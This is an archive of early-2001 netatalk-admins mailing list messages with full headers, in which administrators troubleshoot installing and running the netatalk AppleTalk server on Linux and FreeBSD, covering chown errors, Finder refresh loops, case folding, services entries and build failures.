On 01-02-27 15:21 +0100, jeff <jeff@univrel.pr.uconn.edu> wrote:

>> filled with all kinds of nifty stuff :-)
>> in fact, there is no /usr/share/libtools directory ...
> 
> I'll update the list of packages in the README if they aren't there
> already.

maybe I did just overlook a snippet of readme -- IMO the problem
might be information on installing netatalk is cluttered over
several files spread all around over the distribution.

joining all that info into one single file some day might be a
good idea -- at least speaking from a mac user perspective, I have
no idea about practices the *NIX community is used to.

Thanks, 
-Thomas

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Wed Feb 28 19:28:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA21646
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 19:28:25 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA08537
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 19:28:25 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA08520
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 19:28:25 -0500 (EST)
Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA08478
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 19:28:23 -0500 (EST)
Received: from [195.20.224.208] (helo=mrvdom01.schlund.de)
	by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2)
	id 14YGxC-0007Lj-00
	for netatalk-admins@umich.edu; Thu, 1 Mar 2001 01:28:22 +0100
Received: from p3e9ecafa.dip0.t-ipconnect.de ([62.158.202.250])
	by mrvdom01.schlund.de with esmtp (Exim 2.12 #2)
	id 14YGx9-0003Gd-00
	for netatalk-admins@umich.edu; Thu, 1 Mar 2001 01:28:19 +0100
User-Agent: Microsoft-Entourage/9.0.3108
Date: Thu, 01 Mar 2001 01:27:03 +0100
Subject: Re: chown invalid argument (was: Re: AW: Still Only Cleartext)
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B6C3559B.26279%ts@visual-s.de>
In-Reply-To: <3A9D6275.A64526A4@srz-berlin.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I see (saw -- I didn't complete the update to pre4 yet) the
"setdirowner: chown xxxxxxx/-1 -- .AppleDouble/.Parent: Invalid argument"
once per login.

Suse 7.0, netatalk pre2, pre3, installed from RPM
sharepoints root level write protected,
folders within sharepoint owned by user admin,
group users, gid set.

further information available on request next weekend (hopefully!)

-Thomas


On 01-02-28 21:41 +0100, Axel Bringenberg <A.Bringenberg@srz-berlin.de>
wrote:

> I'm just wondering why the _user_ process tries to set a gid of 0 or an
> uid of 16777216 (0x1000000) ?! Hmm...

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Wed Feb 28 19:42:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA21908
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 19:42:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA24489
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 19:41:56 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA24478
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 19:41:56 -0500 (EST)
Received: from clavin2.unet.brandeis.edu (clavin2.unet.brandeis.edu [129.64.99.33])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA24438
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 19:41:54 -0500 (EST)
Received: from brandeis.edu (h00a04b0c2aa5.ne.mediaone.net [24.218.255.161])
	by clavin2.unet.brandeis.edu (8.9.3/8.9.3/UNet1.9) with ESMTP id TAA11081;
	Wed, 28 Feb 2001 19:42:00 -0500
Sender: karelsf@brandeis.edu
Message-ID: <3A9D9B49.9ADC298@brandeis.edu>
Date: Wed, 28 Feb 2001 19:43:53 -0500
From: Steven Karel <karelsf@brandeis.edu>
Reply-To: karelsf@brandeis.edu
Organization: Brandeis University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
CC: so@server.i-clue.de
Subject: Re: Mac List view updating continuously - Fix?
References: <3A9D4FB3.DAEAC40E@i-clue.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Christoph Sold wrote:

> When viewing the apple volumes in list view, the Finder continuously
> updates the list view. I.e. the info bar at the top of the window shows
> anything between 650 and 670 objects in the list view, starting with the
> lowest number, then growing until the maximum is reached, where it drops
> again to the lowest number.
> 
> The server shows this behavior even when the network is completely idle
> (only one Mac client).
> 
> Any hints?

One possible hint:

I've seen this happen when the server directory contains two separate
files which have identical file names on the Mac, which treats names in
a case-insensitive manner. Example, the directory contains
	

	myfile.exe
and 	myfile.EXE

this can happen pretty easily if you have people saving from multiple
platforms or locations.

From netatalk.administrators-errors@umich.edu  Wed Feb 28 20:08:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA22337
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 20:08:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA11943
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 20:08:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA11919
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 20:08:46 -0500 (EST)
Received: from dionysus.terrascope.com (www.terrascope.com [63.140.215.162])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA11887
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 20:08:45 -0500 (EST)
Received: from terrascope.com (IDENT:walt@localhost.localdomain [127.0.0.1])
	by dionysus.terrascope.com (8.11.0/8.11.0) with ESMTP id f211G3631142
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 17:16:07 -0800
Sender: walt@dionysus.terrascope.com
Message-ID: <3A9DA2D1.7581E882@terrascope.com>
Date: Wed, 28 Feb 2001 17:16:01 -0800
From: Walt Reed <walt@terrascope.com>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Mac List view updating continuously - Fix?
References: <3A9D4FB3.DAEAC40E@i-clue.de> <3A9D9B49.9ADC298@brandeis.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Steven Karel wrote:

> One possible hint:
>
> I've seen this happen when the server directory contains two separate
> files which have identical file names on the Mac, which treats names in
> a case-insensitive manner. Example, the directory contains
>
>
>         myfile.exe
> and     myfile.EXE
>
> this can happen pretty easily if you have people saving from multiple
> platforms or locations.

you are correct that this could be a problem, but his AppleVolumes.default
would have to specify some type of casefold option:

casefold:tolower

so that the mac would see it that way, wouldn't it?  otherwise i think
netatalk does a litteral
translation of the cases.

but i didn't see that option in his config.

walt reed
systems admin
terrascope


From netatalk.administrators-errors@umich.edu  Wed Feb 28 21:05:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA23196
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 21:05:54 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA05048
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 21:05:47 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA05040
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 21:05:46 -0500 (EST)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA05020
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 21:05:45 -0500 (EST)
Received: from n65-61.berlin.snafu.de ([194.42.65.61] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14YITW-00034y-00; Thu, 01 Mar 2001 03:05:50 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id DAA02083;
	Thu, 1 Mar 2001 03:01:17 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: Paramjit Cheema <bobby@cs.auckland.ac.nz>, netatalk-admins@umich.edu
Subject: Re: start script
Date: Thu, 1 Mar 2001 02:22:59 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <B6C51FAA.209A%bobby@cs.auckland.ac.nz>
In-Reply-To: <B6C51FAA.209A%bobby@cs.auckland.ac.nz>
MIME-Version: 1.0
Message-Id: <01030103011700.01416@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id VAA23196

On Thu, 01 Mar 2001, Paramjit Cheema wrote:
> on 2/28/01 6:38 PM, Carsten Neumann at deltor@snafu.de wrote:
> 
> > On Thu, 01 Mar 2001, Paramjit Cheema wrote:
> >> i have just installed netatalk netatalk-1.4b2+asun2.1.3 on red hat 7.1 .
> >> When i tried to run /rc.atalk.redhat start   i got the followin error
> > 
> > I would recommend NOT to place your starup script in your root directory
> > but somewhere in /sbin/init.d, /etc/rc.d, or whereever your start/shutdown
> > scripts are
> > located!
> > 
> >> 
> >> 
> >> starting appletalk daemons: 5280.221: attribute not found.
> >> atalkdnbp_rgstr: Connection timed out
> >> Can't register griffin:Workstation@*
> >> nbp_rgstr: Connection timed out
> >> Can't register griffin:netatalk@*
> >> nbprgstr papd.
> > 
> > Is appletalk compiled into your kernel or as a module?
> > How does your atalkd.conf file look?
> > Are the DDP ports in your /etc/services?
> > 
> >> 
> >> any help would be greatly appreciated
> >> 
> >> 
> >> 
> >> cheers
> >> 
> >> bobby
> > 
> > Regards
> > 
> > Carsten
> > 
> > 
> > 
> hi 

Ho, ;-)

> 
> 1)  appletalk is complied as a module i have already loaded it .
> 
> 
> 
> 2)  initially atalkd.conf was empty it was recreated automatically with
> correct zone name 
> 

So you are in a network with another AppleTalk server (router?)?
In my network (just 2 machines :-)) there is only the default zone "*",
which is not entered in my atalkd.conf.

> 
> 
> 3)  ddp   zip   and afp overtcp services are present in /etc/services

If only these two (or three) entries are present, this could (possibly) be the reason for your
problems. In my /etc/services I have the following AppleTalk entries:

<excerpt from /etc/ervices>
#
# make apple talk more friendly
#
rtmp            1/ddp           # Routing Table Maintenance Protocol
nbp             2/ddp           # Name Binding Protocol
echo            4/ddp           # AppleTalk Echo Protocol
zip             6/ddp           # Zone Information Protocol

#
# Appletalk
#
afpovertcp      548/tcp         # AFP over TCP
afpovertcp      548/udp         # AFP over UCP

</excerpt from /etc/ervices>

I think the NBP is essential for name binding. ;-)

> 
> i placed the script in /etc/init.d and when i tried to run it it gave the
> ollowing error 
> 
> [root@griffin init.d]# ./rc.atalk.redhat start
> starting appletalk daemons: 5280.20: attribute not found.
>  atalkdnbp_rgstr: Connection timed out
> Can't register griffin:Workstation@*
> nbp_rgstr: Connection timed out
> Can't register griffin:netatalk@*
>  nbprgstr papd.

Please post messages (also) to the mailing list.
So everyone can participate. :-)

A note for the list maintainer:
Is it possible to add a "Reply to" field with the list-address to the header?
I always have to add the list-address to the list of recipients by hand.


Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Thu Mar  1 04:19:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA00738
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 04:19:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA06943
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 04:19:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA06920
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 04:19:11 -0500 (EST)
Received: from gekko.i-clue.de (server.ms-agentur.de [62.153.134.194])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA06861
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 04:19:09 -0500 (EST)
Received: from i-clue.de (automatix.i-clue.de [192.168.0.112])
	by gekko.i-clue.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id LAA07780;
	Thu, 1 Mar 2001 11:25:10 +0100
Message-ID: <3A9E1453.35F6230D@i-clue.de>
Date: Thu, 01 Mar 2001 10:20:19 +0100
From: Christoph Sold <so@server.i-clue.de>
Reply-To: so@server.i-clue.de
X-Mailer: Mozilla 4.75 [de] (WinNT; U)
X-Accept-Language: de
MIME-Version: 1.0
To: Walt Reed <walt@terrascope.com>
CC: netatalk-admins@umich.edu
Subject: Re: Mac List view updating continuously - Fix?
References: <3A9D4FB3.DAEAC40E@i-clue.de> <3A9D9B49.9ADC298@brandeis.edu> <3A9DA2D1.7581E882@terrascope.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Walt Reed schrieb:
> 
> Steven Karel wrote:
> 
> > One possible hint:
> >
> > I've seen this happen when the server directory contains two separate
> > files which have identical file names on the Mac, which treats names in
> > a case-insensitive manner. Example, the directory contains
> >
> >
> >         myfile.exe
> > and     myfile.EXE
> >
> > this can happen pretty easily if you have people saving from multiple
> > platforms or locations.
> 
> you are correct that this could be a problem, but his AppleVolumes.default
> would have to specify some type of casefold option:
> 
> casefold:tolower
> 
> so that the mac would see it that way, wouldn't it?  otherwise i think
> netatalk does a litteral
> translation of the cases.
> 
> but i didn't see that option in his config.

Walt is right in all points. Thanks.
-Christoph Sold

From netatalk.administrators-errors@umich.edu  Thu Mar  1 04:22:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA00802
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 04:22:16 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA16492
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 04:22:08 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA16482
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 04:22:08 -0500 (EST)
Received: from gekko.i-clue.de (server.ms-agentur.de [62.153.134.194])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA16448
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 04:22:06 -0500 (EST)
Received: from i-clue.de (automatix.i-clue.de [192.168.0.112])
	by gekko.i-clue.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id LAA07804;
	Thu, 1 Mar 2001 11:28:18 +0100
Message-ID: <3A9E150F.64285297@i-clue.de>
Date: Thu, 01 Mar 2001 10:23:27 +0100
From: Christoph Sold <so@server.i-clue.de>
Reply-To: so@server.i-clue.de
X-Mailer: Mozilla 4.75 [de] (WinNT; U)
X-Accept-Language: de
MIME-Version: 1.0
To: Paramjit Cheema <bobby@cs.auckland.ac.nz>
CC: netatalk-admins@umich.edu
Subject: Re: installing netatalk on freebsd
References: <B6C50B13.207D%bobby@cs.auckland.ac.nz>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Paramjit Cheema schrieb:
> 
> Dear list ,
> 
> i was installing netatalk-1.4b2+asun2.1.3   on freebsd 4.2 and  it stopped
> in the middle of make process giving the following error i have des lib
> installed .
> 
> gcc -DBSD4_4    -O2 -I../../include        -DUSE_PAM -DAPPLCNAME -DSHADOWPW
> -c u
> nix.c
> unix.c:302: unbalanced `#endif'
> unix.c:327: unbalanced `#endif'
> *** Error code 1
> 
> Stop in /netatalk-1.4b2+asun2.1.3/etc/afpd.
> *** Error code 1
> 
> Stop in /netatalk-1.4b2+asun2.1.3/etc/afpd.
> *** Error code 1
> 
> Stop in /netatalk-1.4b2+asun2.1.3/etc.
> *** Error code 1
> 
> Stop in /netatalk-1.4b2+asun2.1.3/sys/freebsd.
> *** Error code 1
> 
> Stop in /netatalk-1.4b2+asun2.1.3.
> 
> could anybody . please help me intracing out this problem

Use the port. No problems compiling it.

$ su
Passwd:
# cd /usr/ports/net/netatalk-1.4b2+asun2.1.3
# make install distclean

and you're setup.

HTH
-Christoph Sold

From netatalk.administrators-errors@umich.edu  Thu Mar  1 05:00:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA01288
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 05:00:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA17605
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 05:00:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA17583
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 05:00:20 -0500 (EST)
Received: from ns.srz-berlin.de (ns.srz-berlin.de [212.5.11.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA17532
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 05:00:19 -0500 (EST)
Received: from srz-berlin.de (gw.srz-berlin.de [212.5.11.2])
	by ns.srz-berlin.de (8.8.7/8.8.7) with ESMTP id LAA19725;
	Thu, 1 Mar 2001 11:00:09 +0100
Sender: bringi@ns.srz-berlin.de
Message-ID: <3A9E1E0C.E400478F@srz-berlin.de>
Date: Thu, 01 Mar 2001 11:01:48 +0100
From: Axel Bringenberg <A.Bringenberg@srz-berlin.de>
Organization: Satz-Rechen-Zentrum Berlin - Systemgruppe (http://www.srz.de)
X-Mailer: Mozilla 4.76 [de] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: de-DE, en
MIME-Version: 1.0
To: Marc Miller <itlm019@mailbox.ucdavis.edu>
CC: Florian Schedler <FlorianSchedler@gmx.de>,
        Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: chown invalid argument (was: Re: AW: Still Only Cleartext)
References: <Pine.GSO.4.21.0102281322230.23562-100000@sandman.ucdavis.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Marc Miller schrieb:
> 
> Is it always the same uid (16777216)?  Does that uid correspond to anyone
> registered on your system?  I have seen chown #/-1 and chown -1/# errors,
> but not with that UID.

Yes, in case of "[...]: invald argument" it is always uid 16777216 and
in case of "[...]: Operation not permitted" it's always gid 0. 

Axel.

From netatalk.administrators-errors@umich.edu  Thu Mar  1 05:05:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA01340
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 05:05:01 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA09360
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 05:04:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA09348
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 05:04:53 -0500 (EST)
Received: from ns.srz-berlin.de (ns.srz-berlin.de [212.5.11.1])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA09312
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 05:04:51 -0500 (EST)
Received: from srz-berlin.de (gw.srz-berlin.de [212.5.11.2])
	by ns.srz-berlin.de (8.8.7/8.8.7) with ESMTP id LAA20429;
	Thu, 1 Mar 2001 11:04:53 +0100
Sender: bringi@ns.srz-berlin.de
Message-ID: <3A9E1F28.C8450143@srz-berlin.de>
Date: Thu, 01 Mar 2001 11:06:32 +0100
From: Axel Bringenberg <A.Bringenberg@srz-berlin.de>
Organization: Satz-Rechen-Zentrum Berlin - Systemgruppe (http://www.srz.de)
X-Mailer: Mozilla 4.76 [de] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: de-DE, en
MIME-Version: 1.0
To: Marc Miller <itlm019@mailbox.ucdavis.edu>,
        Florian Schedler <FlorianSchedler@gmx.de>,
        Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: chown invalid argument (was: Re: AW: Still Only Cleartext)
References: <Pine.GSO.4.21.0102281322230.23562-100000@sandman.ucdavis.edu> <3A9E1E0C.E400478F@srz-berlin.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Axel Bringenberg schrieb:
> 
> Marc Miller schrieb:
> >
> > Is it always the same uid (16777216)?  Does that uid correspond to anyone
> > registered on your system?  I have seen chown #/-1 and chown -1/# errors,
> > but not with that UID.
> 
> Yes, in case of "[...]: invald argument" it is always uid 16777216 and
> in case of "[...]: Operation not permitted" it's always gid 0.

Oh, and no: This uid does correspond not to anyone registered on my
system. As I described in my little test results, I'm the only "normal"
user. Highest uid/gid is 500.

Axel.

From netatalk.administrators-errors@umich.edu  Thu Mar  1 09:17:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA05260
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 09:17:55 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA27311
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 09:17:47 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA27289
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 09:17:47 -0500 (EST)
Received: from tsmtp5.mail.isp ([195.235.113.141])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA27247
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 09:17:45 -0500 (EST)
Received: from [10.0.0.3] ([213.97.106.73]) by tsmtp5.mail.isp
          (Netscape Messaging Server 4.15) with ESMTP id G9IVLJ06.B6C for
          <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 15:15:19 +0100 
User-Agent: Microsoft-Entourage/9.0.2509
Date: Thu, 01 Mar 2001 15:17:52 +0100
Subject: FreeBSD - Building 1.5pre3...
From: Jason Quigley <jasonq@mac.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6C4189F.4177%jasonq@mac.com>
Mime-version: 1.0
Sender: jason_quigley@terra.es
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi!

Does anybody have any tips on building 1.5pre* under FreeBSD 4.2?

I have these packages installed:

autoconf-2.13      
automake-1.4       
gettext-0.10.35    
gmake-3.79.1       
libtool-1.3.4_2    
m4-1.4             
makedepend-2000.12.28

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

When I run make, I get the following error:

[vulcan:~/netatalk] jason# make
make  all-recursive
Making all in libatalk
Making all in adouble
"Makefile", line 231: Need an operator
make: fatal errors encountered -- cannot continue
*** Error code 1

Stop in /root/netatalk/libatalk.
*** Error code 1

Stop in /root/netatalk.
*** Error code 1

Stop in /root/netatalk.
[vulcan:~/netatalk] jason#

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Line 231 reads:

-include $(DEP_FILES)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

This somehow doesn't seem right. Am I missing other prerequisites? Maybe
gawk instead of awk? I can't think of anything else related to Makefile
munging.

Thanks,
Jason.


From netatalk.administrators-errors@umich.edu  Thu Mar  1 09:32:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA05699
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 09:32:58 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA20351
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 09:32:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA20334
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 09:32:50 -0500 (EST)
Received: from gorila.master.com.br ([200.250.181.129])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA20244
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 09:32:47 -0500 (EST)
Received: from master.com.br (IDENT:cass@[200.250.181.150])
	by gorila.master.com.br (8.9.3/8.9.3) with ESMTP id JAA26402
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 09:33:56 -0300
Message-ID: <3A9E5D83.2050300@master.com.br>
Date: Thu, 01 Mar 2001 11:32:35 -0300
From: Cass Surek <cass@master.com.br>
User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.17-14cl i686; en-US; m18) Gecko/20001107 Netscape6/6.0
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: [Fwd: Mac OS 8.1]
Content-Type: multipart/alternative;
 boundary="------------030907030700040209050203"


--------------030907030700040209050203
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

A while ago I posted this, but got no response.
We found out that if we enter the IP address of the server, it works out 
fine, but just a double click on the server on the Chooser won't work.

Thanks

Cass


-------- Original Message --------
Subject: Mac OS 8.1
Resent-Date: Mon, 19 Feb 2001 10:01:03 -0500 (EST)
Resent-From: netatalk-admins@umich.edu
Date: Mon, 19 Feb 2001 11:39:43 -0300
From: Cass Surek <cass@master.com.br>
To: netatalk-admins@umich.edu



Guys,

Are there any problems with the Mac OS 8.1 and netatalk?

8.1 doesn't work (it won't even bring me the login page), but 8.6 does.

Thank you for any clues,

Cass Surek






--------------030907030700040209050203
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html><head></head><body>A while ago I posted this, but got no response.<br>
We found out that if we enter the IP address of the server, it works out
fine, but just a double click on the server on the Chooser won't work.<br>
<br>
Thanks<br>
<br>
Cass<br>
<br>
<br>
-------- Original Message --------
<table cellpadding="0" cellspacing="0" border="0">
